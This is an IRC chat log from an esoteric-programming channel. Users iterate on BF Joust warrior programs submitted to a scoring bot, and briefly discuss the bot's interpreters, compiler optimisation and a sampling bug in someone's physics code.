Patashu_juggernaut: 8.9 10:22:27 hmm 10:22:44 !bfjoust juggernaut +(>(-)*128.-.-.+++)*29 10:22:48 Score for Patashu_juggernaut: 44.2 10:22:50 You'll be running off the end often 10:22:51 oh ho :) 10:22:53 I will 10:22:54 that's okay 10:22:55 O_o 10:23:25 !bfjoust juggernaut +(>(-)*128.-.-.+++.+.-)*29 10:23:29 Score for Patashu_juggernaut: 38.2 10:23:35 !bfjoust juggernaut +(>(-)*128.-.-.++)*29 10:23:39 Score for Patashu_juggernaut: 42.4 10:23:49 !bfjoust juggernaut +(>(-)*128.-.+.-.-.+.+)*29 10:23:52 Score for Patashu_juggernaut: 42.4 10:24:02 !bfjoust juggernaut +(>(-)*128.-.-.+++)*29 10:24:06 Score for Patashu_juggernaut: 42.4 10:24:09 hmm :) 10:24:14 Expecting something different? :P 10:24:20 can't hurt to try 10:24:32 I mean can you really write off -anything-? 10:25:09 I think 20 is a good number for the hill btw 10:25:17 any larger and it gets harder to look at the grid and make sense of it 10:25:19 maybe 10:25:53 !bfjoust jug_or_not >+[>(-)*128] 10:25:57 Score for GregorR-L_jug_or_not: 25.2 10:26:40 !bfjoust juggernaut +(>)*8(>(-)*128.-.-.+++)*29 10:26:44 Score for Patashu_juggernaut: 47.6 10:27:18 !bfjoust juggernaut +(>->+)*4(>(-)*128.-.-.+++)*29 10:27:21 Score for Patashu_juggernaut: 45.3 10:27:32 !bfjoust jug_or_not [[-]+] 10:27:34 how can that do worse? weird 10:27:36 Score for GregorR-L_jug_or_not: 15.4 10:27:45 * GregorR-L keeps looking for a magic degenerate strategy :P 10:28:02 !bfjoust juggernaut +(>-->++)*4(>(-)*128.-.-.+++)*29 10:28:06 Score for Patashu_juggernaut: 52.8 10:28:08 !bfjoust jug_or_not [[(-)*10](+)*10] 10:28:11 Score for GregorR-L_jug_or_not: 22.9 10:28:29 Patashu: The scores are a bit random due to the variation in tape length 10:28:37 yeah 10:28:37 *nods* 10:28:50 does it do best of 5 or anything like that? 10:28:56 nope, one match 10:29:00 Actuall, egojoust is configured such that a run of any two programs will always produce the same result, as it "randomizes" based on their concatenated source code. 10:29:09 Two matches, actually. 10:29:10 really? hah 10:29:19 -!- Corun has changed nick to Corun|away. 10:29:26 I wanted the scores to be a bit more stable :P 10:29:29 system time not good enough for ya? 10:29:30 oh I see 10:29:43 means that a trivial variation can make a match different though 10:29:55 and you'll be all like 'hah now I got it' when in reality it has nothing to do with bfjoust as written 10:29:58 A trivial variation, as opposed to running it three seconds later. 10:30:16 best of 21? 10:30:16 :) 10:30:21 Plus, it's extremely unlikely to help you in ALL matches, it'll likely only help in one. 10:30:24 I considered that. 10:31:58 Plus, as ais said, the tape length really does rarely affect the outcome, it's more about weeding out degenerate strategies. 10:32:32 -!- myndzi has quit (Read error: 110 (Connection timed out)). 10:33:17 I wish all this interest in BF Joust would give FYB a bit of attention :P 10:33:23 :) 10:33:30 I might try FYB 10:33:34 harder? 10:34:11 More complex, written four years earlier. 10:34:16 Your "tape" is the other program. 10:34:34 http://codu.org/eso/fyb/README 10:35:24 The last FYB program I wrote, logicex-2, remains undefeated. 10:35:32 For four years X-P 10:36:21 !help 10:36:21 Supported commands: addinterp bf_txtgen bfjoust daemon daemons delinterp fyb help info kill mush userinterps 1l 2l adjust asm axo bch bct befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dimensifuck echo echo_sh forth glass glypho google hello kipple lambda lazyk linguine malbolge notecho ook pbrain perl qbf rail rhotor rot13 sadol sceql sh show slashes test trigger udage01 underload unlambda whirl yodawg 10:36:30 aha, there's fyb 10:36:44 All this reporting infrastructure was made for FYB, and ported to BF Joust. 10:36:57 yeah I recognized it 10:38:29 what's 'yodawg'? 10:38:55 Yo dawg we heard you like strings, so we put a string "Hello world!" in your program 10:39:01 I don't even know 10:39:35 They should all be on the esolangs wiki *shrugs* 10:40:21 'yo dawg' no matches, 'yodawg' no matches 10:40:26 (as a search on esolangs) 10:41:05 !userinterps 10:41:06 Installed user interpreters: bct bfbignum chiqrsx9p choo echo echo_sh google hello ook rot13 slashes yodawg 10:41:13 Aha, it's a userinterp 10:41:16 Type !show yodawg 10:41:21 !show yodawg 10:41:22 unlambda (sending via DCC) 10:41:38 !delinterp echo_sh 10:41:38 Interpreter echo_sh deleted. 10:41:40 oh 10:41:43 unlambda? 10:41:57 unlambda is the language that the userinterp is written in. 10:42:12 aah 10:42:12 The interpreter itself should have been sent over DCC 10:42:27 !show google 10:42:27 bf +++++++++++++++[>+++++++>+++++++>++++>+<<<<-]>-.++++++++++++..----.>>--.-----------..<--.++++++++..--------.<----.>--.>-.<--.<+++.--.>>+.<<++++++.>++.----.<-.>++.+++++.>++++++++++++++++.<<-.>>--.,[>[-]>[-]<<[>+>+<<-]>>>[-]++++++++[<---->-]<[[-]>+<]>-[<<[-]>+++++++[<++++++>-]<+>>[-]]<<.[-]<,] 10:42:37 !google 2 10:42:38 http://google.com/search?q=2 10:42:41 neat 10:42:58 !show bfbignum 10:42:59 bf (sending via DCC) 10:43:03 !google was just a joke, mostly, since that's how I often respond to questions :P 10:43:04 http://google.com/search?q=was+just+a+joke,+mostly,+since+that's+how+I+often+respond+to+questions+:P 10:43:11 Ah, but does it URL-encode properly? 10:43:14 !google %20 10:43:14 http://google.com/search?q=%20 10:43:19 Nope ;-P 10:43:20 No, only spaces to + 10:44:06 -!- myndzi has joined. 10:44:11 -!- Corun|away has changed nick to Corun. 10:45:24 hmm, maybe an interesting FYB program would, instead of placing bombs in the opponent's code, place lots of :s, *then* place a bomb 10:45:42 welly 10:45:47 you have !fyb to test what you like 10:47:08 I do... I suspect my attempts will fail until I have a little more experience anyway 10:47:23 Doesn't hurt to try ^^ 10:47:43 You can always /msg, go to #egobot or go to #fyb for more privacy. 10:48:54 hm 10:49:19 GregorR-L, why not rewrite that bf program to properly url encode :D 10:49:31 no u 10:50:13 wouldn't that be 10:50:15 extremely complicated? 10:50:31 since they're on an arbitrary bijunction 10:50:33 I think 10:50:37 Patashu, I would use a "to-bf" compiler 10:50:42 if I had to do it 10:50:49 such as pebble or so I guess 10:50:59 that's not really writing bf is it :) 10:51:11 Patashu, as a base only :P 10:51:13 I used bf_txtgen to get the http://google.com/search?q= part :P 10:51:38 GregorR-L, esotope-bfc optimises it quite well btw 10:52:52 GregorR, http://pastebin.com/de087ecd 10:53:50 -!- Corun has quit ("Leaving..."). 10:53:59 # 10:53:59 p[5] += 7; 10:53:59 # 10:53:59 p[4] += ((6*p[5])+1); 10:54:01 p[5] += 7; p[4] += ((6*p[5])+1); p[5] = 0; <-- seems bad. Wouldn't p[4] += ((6*(p[5]+7))+1); p[5] = 0; be better hm 10:54:02 Can't optimize that? 10:54:03 Heh 10:54:09 GregorR, not yet I guess. 10:54:24 GregorR, it still does a fairly good job IMO 10:54:33 Absolutely, I'm just being an ass :P 10:56:12 GregorR, ideally it should of course turn it into a "while(!feof(stdin)) { char c = getchar(); if (c == ' ') putchar('+'); else putchar(c); } 10:56:13 ;P 10:56:35 but that would be as close to impossible as makes no difference 10:58:58 -!- GreaseMonkey has quit ("YES -> thor-ainor.it <- THIS IS *DELICIOUS*!"). 11:00:35 -!- jix has joined. 11:01:15 GregorR, current state of in-between: http://pastebin.com/m311cd601 (and yes I haven 11:01:22 haven't had time to work on it for some days) 11:33:40 -!- nooga has joined. 11:36:50 * AnMaster wonders if it would be possible to write a bf compiler or interpreter in make 11:38:36 make? 11:39:11 also, does anyone here also hang out in golf.shinh.org? 11:43:44 -!- KingOfKarlsruhe has joined. 11:46:43 -!- myndzi\ has joined. 11:50:46 -!- myndzi has quit (Read error: 113 (No route to host)). 12:13:34 I wonder, since the O's are considered for worst case scenarios 12:13:56 Are programs using random things considered O(infinity)? 12:14:30 anything that sometimes enters an infinite loop is O(infinity) yes 12:15:02 no one would seriously suggest an algorithm that sometimes loops forever though XD so you never see it written out like that 12:15:15 I... I sort of did :( 12:15:23 go on? 12:15:55 It's a program that generates a random energy, but the result is only accepted if it's under the max energy 12:16:00 Otherwise, it loops back on 12:16:21 For some reason, if I do more than 47 iterations of the experience, it starts taking forever 12:16:29 esolang or regular lang? 12:16:35 Regular lang 12:16:37 usually there's a function to generate a random number within a range 12:16:38 I be at work 12:16:43 I know python, java, visual basic has one 12:16:56 They're not just random numbers 12:17:03 They're random numbers on a particular distribution 12:17:20 I can't use regular random functions 12:17:25 aah 12:17:47 is it a self-similar distribution? 12:17:57 wat 12:18:01 no wait 12:18:02 Self similar? 12:18:02 that wouldn't work sorry 12:18:07 Looking like itself? 12:18:14 Most things look like themselves 12:18:25 it's when you can find copies of the whole within the whole 12:18:26 like fractals 12:18:39 if you can zoom in on part of the distribution curve and it looks like the whole distribution curve that would be self similar 12:18:41 but I'm not sure if that's helpful 12:19:43 It's a gaussian distribution 12:20:14 Code is : http://pastebin.com/m5c424cd8 12:20:16 (it uses root) 12:20:55 So far, it takes forever, but if you change exp=48 to something less than that, it takes under a minute 12:21:00 I don't know why* 12:21:32 I can't even find out where it's stuck, though I can guess, because root is shitty with i/o 12:21:49 Pretty sure it's stuck on : 12:21:50 hmm 12:21:51 # 12:21:51 do 12:21:51 # 12:21:51 {Ep = f1->Gaus(0.5*TMath::Log(E/0.2),1); 12:21:51 # 12:21:52 Ep = (E0)*TMath::Exp(-Ep);} 12:21:54 # 12:21:56 while(Ep>E || Ep<0); 12:22:00 why would you need a capped gaussian distribution 12:22:02 specifically? 12:22:07 Science reasons. 12:22:18 (Conservation of energy) 12:23:33 It's weird, though 12:23:50 Wait, maybe my condition of 0 energy is too low 12:23:54 -!- myndzi\ has quit (Read error: 113 (No route to host)). 12:23:56 -!- myndzi has joined. 12:24:04 And it found an energy really too low for him to generate easily 12:24:38 Yeah, it was that 12:24:41 -!- impomatic has joined. 12:24:46 Hi :-) 12:25:02 Hai 12:25:10 yo 12:25:19 -!- lereah_ has left (?). 12:25:22 -!- lereah_ has joined. 12:25:25 Has the size of the BF Joust hill been increased? It looks like it now records previous reports too 12:25:36 size 20 and fast 12:25:43 and keeps a log of reports 12:25:54 :-) 12:28:06 I'm having surprising success with my attempts 12:28:34 rushpolarity, lazy and waiter have all topped the hill 12:29:47 gonna try this one again 12:29:48 !bfjoust matador >-[]<(++-)*1000.(--+)*1000(>)*9(>[+][-])*21 12:29:52 Score for Patashu_matador: 18.5 12:30:04 nope it's not good as it is :) 12:30:05 hehe 12:37:56 !bfjoust spyglass (>(-)*9>(+)*9)*4(>(+)*10[-]++--[(---.)*9999])*21 12:38:00 Score for impomatic_spyglass: 66.0 12:38:21 now what does that do... 12:38:22 hmm 12:38:43 sets up decoys. -9+9-9+9-9+9-9+9 12:38:44 then... 12:38:57 one forward, +1, - until zero, plus plus minus minus 12:39:03 loop until it's zero: ---. 12:39:06 and do that for 21 cells 12:39:29 :-) 12:39:58 it's the attack itself that's important, let's see 12:40:28 what does once zero, ++-- then ---. repeat until zero do that's special 12:40:48 -!- myndzi has quit (Read error: 113 (No route to host)). 12:41:01 oh 12:41:08 if it's continually incerasing or decreasing it 12:41:11 ++ will beat -- and -- will beat ++ 12:42:17 then the ---. aah 12:42:21 will only trigger if the pointer is there as well 12:42:58 I don't think the ++-- really helps, but the [(---.)*9999] is supposed to help against programs which modify their own flag. 12:43:10 Unfortunately it doesn't seem to help much. 12:43:46 !bfjoust spyglass (>(-)*9>(+)*9)*4(>(+)*10[-])*21 12:43:49 Score for impomatic_spyglass: 60.9 12:44:01 what about doing -+--++---+++ 12:44:21 hmm 12:44:27 maybe something with nops 12:44:48 if you detect the cell to be 0 in the loop, when you end it a modifier will make it 1 or -1 12:45:02 so you can't push it back onto 0 unless they change direction 12:45:05 which you can't predict 12:45:15 so you'd have to trick them into hitting 0 on a wraparound? 12:45:40 !bfjoust spyglass (>(-)*9>(+)*9)*4(>(+)*10[-]+.[((-)*6.)*9999])*21 12:45:44 Score for impomatic_spyglass: 5.8 12:45:56 !bfjoust spyglass (>(-)*9>(+)*9)*4(>(+)*10[-]+.-[((-)*6.)*9999])*21 12:46:00 Score for impomatic_spyglass: 55.7 12:46:37 !bfjoust spyglass (>(-)*9>(+)*9)*4(>(+)*10[-]++--[(--.)*9999])*21 12:46:40 Score for impomatic_spyglass: 55.4 12:46:50 !bfjoust spyglass (>(-)*9>(+)*9)*4(>(+)*10[-]++--[(---.)*9999])*21 12:46:53 Score for impomatic_spyglass: 64.5 12:47:07 Hmmm... 12:47:48 with defenders as only 1/5th of the hill now 12:47:56 the defender-smashers are dropping 12:48:05 i.e. creep :) 12:49:02 -!- myndzi has joined. 12:49:17 btw 12:49:23 does the size of the decoys matter? 12:49:39 what kind of attack would smash decoys that are +1 OR -1 for instance 12:49:46 Depends on the opponent :-) 12:50:39 -!- KingOfKarlsruhe has quit (Remote closed the connection). 12:50:45 +[-] gets through +1 -1 decoys. ++[-] for -1, -2, 1, 2 decoys. Etc 12:51:16 -!- oerjan has joined. 12:51:22 ooh 12:51:24 I get why that works 12:53:53 !bfjoust juggernaut +(>(-)*128.-.+.)*29 12:53:57 Score for Patashu_juggernaut: 42.4 12:54:12 !bfjoust juggernaut +(>(-)*128.--++)*29 12:54:15 Score for Patashu_juggernaut: 48.6 12:54:55 !bfjoust juggernaut +(>(-)*128.--.++)*29 12:54:58 Score for Patashu_juggernaut: 38.8 12:55:08 !bfjoust juggernaut +(>(-)*128.--++.-+\)*29 12:55:11 oops haha 12:55:12 Score for Patashu_juggernaut: 46.3 12:55:26 !bfjoust juggernaut +(>(-)*128.--++.-.+)*29 12:55:29 Score for Patashu_juggernaut: 42.4 12:55:50 !bfjoust juggernaut +(>(-)*126.--++)*29 12:55:54 Score for Patashu_juggernaut: 20.6 12:55:58 !bfjoust juggernaut +(>(-)*128.--++)*29 12:56:02 Score for Patashu_juggernaut: 48.6 12:56:03 back to this version I guess :) 12:58:35 !bfjoust ignite (>(-)*11)*4(>(+)*5)*5(>(+)*9[-][(+)*128(+.)*9999])*21 12:58:39 Score for impomatic_ignite: 54.8 13:00:26 !bfjoust lazy (>(+)*10>(-)*10)*2>(-)*10(>(+)*10)*2>(-)*10>((-.)*128>)*21 13:00:29 Score for Patashu_lazy: 39.1 13:01:03 !bfjoust lazy +>((-.)*128>)*29 13:01:07 Score for Patashu_lazy: 41.3 13:01:20 !bfjoust lazy >(+)*5>(-)*5>(+)*5>(-)*5>(-)*5>(+)*5>(+)*5>(-)*5>((-.)*128>)*21 13:01:23 Score for Patashu_lazy: 48.2 13:01:26 hmm 13:02:53 !bfjoust ignite (>(-)*10)*3(>(+)*4)*6(>[(+)*9[-][(+)*384(.-)*9999(.+)*9999(..+)*9999(.++)*9999(.+++)*9999]])*21 13:02:57 Score for impomatic_ignite: 41.6 13:03:28 !bfjoust ignite (>(-)*10)*3(>(+)*4)*6(>[(+)*9[-][(+)*384(.-)*9999(.+)*9999(..+)*9999]])*21 13:03:32 Score for impomatic_ignite: 53.7 13:06:28 !bfjoust waiter ((+++++++++.)*1024(---------.)*1024)*2(++.)*512(--.)*512(+-)*1024(>)*9((-.)*128>)*21 13:06:32 Score for Patashu_waiter: 17.2 13:06:40 hmm 13:06:41 !bfjoust waiter ((+)*10000(-)*10000)*2(+-)*5000(-+)*5000(+--)*2000(-++)*2000(>)*9((-.)*128>)*21 13:06:45 Score for Patashu_waiter: 42.9 13:06:56 !bfjoust waiter ((+.)*10000(-.)*10000)*2(+-)*5000(-+)*5000(+--)*2000(-++)*2000(>)*9((-.)*128>)*21 13:07:00 Score for Patashu_waiter: 9.4 13:07:04 no haha 13:07:15 !bfjoust waiter ((+)*10000(-)*10000)*2(+.)*5000(-.)*5000(+--)*2000(-++)*2000(>)*9((-.)*128>)*21 13:07:19 Score for Patashu_waiter: 14.1 13:07:38 !bfjoust waiter ((+)*10000(-)*10000)*2(+-)*5000(-+)*5000(+--)*2000(-++)*2000(>)*9((-.)*128>)*21 13:07:42 Score for Patashu_waiter: 42.9 13:07:48 !bfjoust waiter ((+-)*10000(-+)*10000)*2(+-)*5000(-+)*5000(+--)*2000(-++)*2000(>)*9((-.)*128>)*21 13:07:51 Score for Patashu_waiter: 25.2 13:08:02 !bfjoust waiter ((+)*10000(-)*10000)*2(+-)*5000(-+)*5000(+--)*2000(-++)*2000(>)*9((-.)*128>)*21 13:08:05 Score for Patashu_waiter: 42.9 13:08:15 sorry if this is spammy, no one's talking about anything anyways 13:08:51 YOU ARE RUINING OUR MEDITATION 13:09:03 -!- MizardX has quit ("Dead pixels in the sky."). 13:10:12 oh yeah duh 13:10:21 I know why +.ing or -.ing your own flag is a bad idea now XD 13:10:51 !bfjoust waiter ((+)*10000(-)*10000.)*2(+-)*5000(-+)*5000(+--)*2000(-++)*2000(>)*9((-.)*128>)*21 13:10:55 Score for Patashu_waiter: 38.0 13:10:57 nope :( 13:10:59 hmm 13:11:06 !bfjoust waiter ((+)*10000.(-)*10000)*2(+-)*5000(-+)*5000(+--)*2000(-++)*2000(>)*9((-.)*128>)*21 13:11:10 Score for Patashu_waiter: 39.3 13:11:20 !bfjoust waiter ((+)*10000(-)*10000)*2.(+-)*5000(-+)*5000(+--)*2000(-++)*2000(>)*9((-.)*128>)*21 13:11:24 Score for Patashu_waiter: 39.3 13:11:33 !bfjoust waiter .((+)*10000(-)*10000)*2(+-)*5000(-+)*5000(+--)*2000(-++)*2000(>)*9((-.)*128>)*21 13:11:38 Score for Patashu_waiter: 42.9 13:12:39 I don't seem to be coming up with anything particularly insightful 13:12:48 -!- Gracenotes has quit ("Leaving"). 13:16:07 Maybe you could work out what length decoys are best against the majority of programs on the hill. Should be easy by taking a quick look at their source. 13:16:19 Or alternatively which size decoy buster works best. 13:17:03 looking at programs huh? sneeaaakky 13:17:04 :P 13:23:29 -!- MizardX has joined. 13:27:39 !bfjoust lazy >(+)*5>(-)*5>(+)*5>(-)*5>(-)*5>(+)*5>(+)*5>(-)*5(>(-.)*128)*21[-]((-)*2048(+)*2048.)*2 13:27:42 Score for Patashu_lazy: 48.8 13:28:56 !bfjoust rushpolarity >((+)*10>(-)*10>(-)*10>(+)*10)*2>((+)*8[+[-]]+.--.++>(-)*8[-[+]]+.--.++>)*11 13:28:59 Score for Patashu_rushpolarity: 57.1 13:30:12 !bfjoust rushpolarity >((+)*10>(-)*10>(-)*10>(+)*10)*2>((+)*8[+[-]]+.--.++>(-)*8[-[+]]+.--.++>)*10[+[-]]+.--.++.-.+++.---[-][+[-][-[+][+] 13:30:15 Score for Patashu_rushpolarity: 52.1 13:30:24 !bfjoust rushpolarity >((+)*10>(-)*10>(-)*10>(+)*10)*2>((+)*8[+[-]]+.--.++>(-)*8[-[+]]+.--.++>)*11 13:30:27 Score for Patashu_rushpolarity: 57.1 13:30:43 !bfjoust rushpolarity >((+)*10>(-)*10>(-)*10>(+)*10)*2>((+)*8[+[-]]+.--.++>(-)*8[-[+]]+.--.++>)*10(+)*8[+[-]]+.--.++ 13:30:47 Score for Patashu_rushpolarity: 58.4 13:30:50 there we go 13:31:14 !bfjoust waiter ((+)*10000(-)*10000)*2(+-)*5000(-+)*5000(+--)*2000(-++)*2000(>)*9((-.)*128>)*21 13:31:16 oops 13:31:18 Score for Patashu_waiter: 44.0 13:32:02 !bfjoust waiter ((+)*10000(-)*10000)*2(+-)*5000(-+)*5000(+--)*2000(-++)*2000(>)*8(>(-.)*128)*20--.++.[-][+] 13:32:06 Score for Patashu_waiter: 37.7 13:32:11 D: 13:32:22 !bfjoust waiter ((+)*10000(-)*10000)*2(+-)*5000(-+)*5000(+--)*2000(-++)*2000(>)*8(>(-.)*128)*20 13:32:26 Score for Patashu_waiter: 44.0 13:32:44 !bfjoust waiter ((+)*10000(-)*10000)*2(+-)*5000(-+)*5000(+--)*2000(-++)*2000(>)*8(>(-.)*128)*20..-..+..-.+.-+--++ 13:32:47 Score for Patashu_waiter: 34.1 13:32:54 why does that make it do worse rofl 13:34:09 !bfjoust juggernaut +(>(-)*128.--++)*29(+)*128.[-][+][-[+][+[-](-)*128.(+)*128.(-+)*256 13:34:13 Score for Patashu_juggernaut: 38.2 13:34:21 !bfjoust juggernaut +(>(-)*128.--++)*29 13:34:25 Score for Patashu_juggernaut: 51.0 13:34:31 !bfjoust juggernaut +(>(-)*128.--++)*29.(+)*128.[-][+][-[+][+[-](-)*128.(+)*128.(-+)*256 13:34:35 Score for Patashu_juggernaut: 38.2 13:34:37 that's weird 13:34:39 !bfjoust juggernaut +(>(-)*128.--++)*29 13:34:43 Score for Patashu_juggernaut: 51.0 13:34:52 hmm okay 13:34:53 gonna stop 13:35:02 and see which program adding stuff on at the end makes it lose against *rubs brow* 13:35:59 beats: rushpolarity all defends shadow viper shade 13:36:02 !bfjoust juggernaut +(>(-)*128.--++)*29.(+)*128.[-][+][-[+][+[-](-)*128.(+)*128.(-+)*256 13:36:06 Score for Patashu_juggernaut: 38.2 13:36:23 now it loses to shadow and spyglass 13:36:24 hmm... 13:36:28 !bfjoust juggernaut +(>(-)*128.--++)*29 13:36:32 Score for Patashu_juggernaut: 51.0 13:36:37 I will meditate on this 13:36:39 and then destroy you 13:36:41 or w/e 13:38:03 nope I have no clue why 13:41:09 what on earth is shade doing. it is incredibly long 13:41:47 -!- myndzi has quit (Read error: 113 (No route to host)). 13:44:05 !bfjoust electrictrain (>-)*8>>+[[-][-]>+] 13:44:08 Score for Patashu_electrictrain: 27.5 13:44:10 oops sigh 13:44:54 !bfjoust train2 (>--)*8>>+[[-][-]>+] 13:44:58 Score for Deewiant_train2: 31.8 13:45:11 !bfjoust electrictrain (>(-)*10)*9([-][-]>+)*20 13:45:15 Score for Patashu_electrictrain: 22.4 13:45:17 nope heh 13:45:35 !bfjoust electrictrain (>(-)*10)*9([-][-]>)*20 13:45:39 Score for Patashu_electrictrain: 35.7 13:45:40 !bfjoust train2 (>--)*4(>++)*4>>+[[-][-]>+] 13:45:43 Score for Deewiant_train2: 34.6 13:45:49 !bfjoust electrictrain (>(-)*2)*9([-][-]>)*20 13:45:52 Score for Patashu_electrictrain: 26.0 13:45:54 !bfjoust electrictrain (>(-)*3)*9([-][-]>)*20 13:45:57 Score for Patashu_electrictrain: 28.8 13:46:01 !bfjoust electrictrain (>(-)*12)*9([-][-]>)*20 13:46:03 hmm :o 13:46:05 Score for Patashu_electrictrain: 28.8 13:46:13 !bfjoust electrictrain (>(-)*10)*9([-][-][+]>)*20 13:46:17 Score for Patashu_electrictrain: 35.7 13:46:42 !bfjoust train2 (>--)*4(>++)*4>>+([-][-][+]>)*8[[-][-]>+] 13:46:45 Score for Deewiant_train2: 16.3 13:46:50 O_o 13:46:57 !bfjoust electrictrain (>(-)*10)*9([-][+][-]>)*20 13:47:00 Score for Patashu_electrictrain: 29.1 13:47:04 choo choo bah 13:47:09 Hmm, right 13:47:10 !bfjoust electrictrain (>(-)*10)*9([-][-][+]>)*20 13:47:14 Score for Patashu_electrictrain: 38.8 13:47:14 !bfjoust train2 (>--)*4(>++)*4>>+([-][-]>)*8[[-][-]>+] 13:47:18 Score for Deewiant_train2: 24.4 13:47:25 Oh well 13:47:32 !bfjoust electrictrain (>(-)*10)*9([[-]]>)*20 13:47:37 Score for Patashu_electrictrain: 27.7 13:47:40 !bfjoust electrictrain (>(-)*10)*9([+[-]]>)*20 13:47:40 !bfjoust train2 (>--)*4(>++)*4>>([-][-]>)*8[[-][-]>+] 13:47:46 Score for Deewiant_train2: 17.5 13:47:46 Score for Patashu_electrictrain: 17.7 13:47:51 !bfjoust train2 (>--)*4(>++)*4>>+[[-][-]>+] 13:47:55 Score for Deewiant_train2: 31.0 13:47:56 Tch 13:47:57 !bfjoust electrictrain (>(-)*10)*9([-][-][+][+]>)*20 13:48:00 Score for Patashu_electrictrain: 37.1 13:48:39 electric trains are awesome 13:49:16 :-P 13:49:23 !bfjoust electrictrain (>(-)*10)*9([[-][-][+][+]]>)*20 13:49:26 Score for Patashu_electrictrain: 28.0 13:49:31 !bfjoust electrictrain (>(-)*10)*9([-][-][+][+]>)*20 13:49:34 Score for Patashu_electrictrain: 37.1 13:49:45 having to revert your entry is a pain 13:49:48 !bfjoust train2 (>(-)*10)*4(>(+)*10)*4>>+[[-][-]>+] 13:49:51 Score for Deewiant_train2: 46.8 13:49:54 Woot 13:50:09 This is so random :-P 13:50:10 oh 13:50:11 the decoys? 13:50:15 nah it makes underlying sense 13:50:17 on some level i'm sure 13:50:39 !bfjoust electrictrain (>(+)*10)*4(>(-)*10)*5([-][-][+][+]>)*20 13:50:43 Score for Patashu_electrictrain: 38.2 13:51:31 !bfjoust matador >-[]<(++-)*1000.(--+)*1000(>)*9(>[+][-])*21 13:51:35 Score for Patashu_matador: 19.0 13:51:40 !bfjoust matador >-[]<(+-)*1000.(-+)*1000(>)*9(>[+][-])*21 13:51:44 Score for Patashu_matador: 8.2 13:51:49 !bfjoust matador >-[]<(+)*1000.(-)*1000(>)*9(>[+][-])*21 13:51:53 Score for Patashu_matador: 10.8 13:51:57 !bfjoust train2 (>(-)*10)*4(>(+)*10)*4>>+([[-][-]>+])*30 13:52:01 Score for Deewiant_train2: 52.6 13:52:02 !bfjoust matador >-[]<(+++-)*1000.(---+)*1000(>)*9(>[+][-])*21 13:52:07 Score for Patashu_matador: 16.8 13:52:09 There we go 13:52:16 !bfjoust matador >-[]<(++-)*1000.(--+)*1000(>)*9(>[+][-])*21 13:52:20 Score for Patashu_matador: 19.5 13:52:21 Hmm 13:52:22 hmm why is this the optimum 13:52:23 !bfjoust train2 (>(-)*10)*4(>(+)*10)*4>>+([[-][-]>])*30 13:52:27 btw 13:52:27 Score for Deewiant_train2: 10.0 13:52:29 O_o 13:52:32 don't make it do 40 >s in total ;) 13:52:34 Oh, right 13:52:38 !bfjoust train2 (>(-)*10)*4(>(+)*10)*4>>+([[-][-]>+])*30 13:52:42 Score for Deewiant_train2: 52.6 13:52:44 it should end before doing a 30th > 13:52:48 because that's an instant win for your enemy 13:53:02 right now it does 41 13:53:07 !bfjoust train2 (>(-)*10)*4(>(+)*10)*4>>+([[-][-]>+])*19 13:53:10 Score for Deewiant_train2: 24.4 13:53:16 !bfjoust train2 (>(-)*10)*4(>(+)*10)*4>>+([[-][-]>+])*20 13:53:20 Score for Deewiant_train2: 27.4 13:53:20 !bfjoust train2 (>(-)*10)*4(>(+)*10)*4>>+([[-][-]>+])*21 13:53:23 lol 13:53:24 Score for Deewiant_train2: 34.6 13:53:26 wth 13:53:26 :-) 13:53:28 !bfjoust train2 (>(-)*10)*4(>(+)*10)*4>>+([[-][-]>+])*40 13:53:32 Score for Deewiant_train2: 36.3 13:53:35 !bfjoust train2 (>(-)*10)*4(>(+)*10)*4>>+([[-][-]>+])*30 13:53:36 do 30 again?? 13:53:38 30 is a sweet spot 13:53:39 Score for Deewiant_train2: 52.6 13:53:46 oh 13:53:49 it might be skipping []s 13:53:53 Yep, it is 13:53:58 interesting 13:54:01 But still, more should be better :-P 13:54:10 keep in mind that > off the edge is instant loss 13:54:10 It just hits nice numbers on the randomizer now 13:54:16 but noping for all eternity might be a draw 13:54:21 Yeah, but there's no way of detecting that 13:54:28 not the way you set it up no 13:54:32 It's a train, it doesn't stop ;-) 13:54:39 It just keeps choo-chooing onward 13:54:40 haha 13:54:43 !bfjoust matador >-[]<(++-)*1000(--+)*1000(>)*9(>[+][-])*21 13:54:47 Score for Patashu_matador: 25.3 13:54:47 Unless the engine breaks down 13:54:51 oho 13:54:59 !bfjoust matador >-[]<(++-)*1000+(--+)*1000(>)*9(>[+][-])*21 13:55:02 Score for Patashu_matador: 19.5 13:55:03 !bfjoust matador >-[]<(++-)*1000-(--+)*1000(>)*9(>[+][-])*21 13:55:07 Score for Patashu_matador: 29.5 13:55:09 aha 13:55:10 -!- Taejo has joined. 13:55:18 why does it work? who knows 13:55:18 just accept it 13:55:27 !bfjoust taejo_simplexity (>->+)*5[[-]>-] 13:55:31 Score for Taejo_taejo_simplexity: 21.5 13:56:18 Err, did you even change anything between those last two 13:56:44 Oh, + -> - 13:56:47 !bfjoust waiter ((++-)*10000-(--+)*10000)*2(+)*10000(-)*10000(+-)*10000(-+)*10000(>)*8(>(-.)*128)*20 13:56:48 :-P 13:56:51 Score for Patashu_waiter: 42.9 13:57:07 !bfjoust boring (++--+->-<)*100000 13:57:12 Deewiant: when I last submitted the bot was broken 13:57:12 Score for Asztal_boring: 29.1 13:57:24 !bfjoust waiter ((++-)*50000-(--+)*50000)*2(+)*10000(-)*10000(+-)*10000(-+)*10000(>)*8(>(-.)*128)*20 13:57:28 Score for Patashu_waiter: 42.4 13:57:32 !bfjoust taejo_simplexity (>)*10[[-]>-] 13:57:36 Taejo: Sorry, that was directed at Patashu 13:57:36 Score for Taejo_taejo_simplexity: 15.2 13:57:40 !bfjoust waiter ((++-)*10000-(--+)*10000)*2(+)*50000(-)*50000(+-)*10000(-+)*10000(>)*8(>(-.)*128)*20 13:57:40 Didn't notice you in between there :-P 13:57:44 Score for Patashu_waiter: 47.1 13:58:00 !bfjoust waiter ((++-)*10000-(--+)*10000)*2(+)*50000(-)*50000(+-)*50000(-+)*50000(>)*8(>(-.)*128)*20 13:58:02 !bfjoust boring (++--+-)*100000 13:58:03 Patashu: Stop lowering train2's score 13:58:05 Score for Asztal_boring: 28.0 13:58:05 Score for Patashu_waiter: 42.4 13:58:07 sorry :o 13:58:11 !bfjoust waiter ((++-)*10000-(--+)*10000)*2(+)*50000(-)*50000(+-)*20000(-+)*20000(>)*8(>(-.)*128)*20 13:58:11 :-P 13:58:14 Score for Patashu_waiter: 43.5 13:58:19 !bfjoust waiter ((++-)*10000-(--+)*10000)*2(+)*50000(-)*50000(+-)*10000(-+)*10000(>)*8(>(-.)*128)*20 13:58:22 Score for 